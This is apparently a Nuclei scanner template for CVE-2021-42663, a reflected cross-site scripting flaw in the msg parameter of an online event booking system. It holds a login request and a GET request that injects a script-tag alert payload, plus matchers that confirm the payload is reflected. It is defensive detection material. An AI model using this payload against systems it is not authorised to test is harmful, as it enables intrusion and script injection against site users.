id: CVE-2021-42663

info:
  name: Sourcecodester Online Event Booking and Reservation System 2.3.0 - Cross-Site Scripting
  author: fxploit
  severity: medium
  description: |
    Sourcecodester Online Event Booking and Reservation System 2.3.0 contains a cross-site scripting vulnerability in PHP/MySQL via the msg parameter to /event-management/index.php. An attacker can leverage this vulnerability in order to change the visibility of the website. Once the target user clicks on a given link, the content of the HTML code of the attacker's choice displays.
  remediation: |
    To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
  reference:
    - https://github.com/0xDeku/CVE-2021-42663
    - https://www.sourcecodester.com/php/14241/online-event-booking-and-reservation-system-phpmysql.html
    - https://github.com/TheHackingRabbi/CVE-2021-42663
    - https://nvd.nist.gov/vuln/detail/CVE-2021-42663
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2021-42663
    cwe-id: CWE-79
    epss-score: 0.00116
    epss-percentile: 0.45157
    cpe: cpe:2.3:a:online_event_booking_and_reservation_system_project:online_event_booking_and_reservation_system:2.3.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: online_event_booking_and_reservation_system_project
    product: online_event_booking_and_reservation_system
  tags: cve,cve2021,xss

http:
  - raw:
      - |
        POST /login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        name={{username}}&pwd={{password}}
      - |
        GET /views/index.php?msg=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</i><script>alert(document.domain)</script></div>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

# digest: 4b0a00483046022100a42a350793866cd7dc35747d9982c7615efbfbe3958d3e0a36fe036bf7d04e3802210099461f6ada6ae6540cf48a0ef16fe7f204ebe2a1a3d5d1c49517c20d7ef6ed35:922c64590222798bb761d5b6d8e72950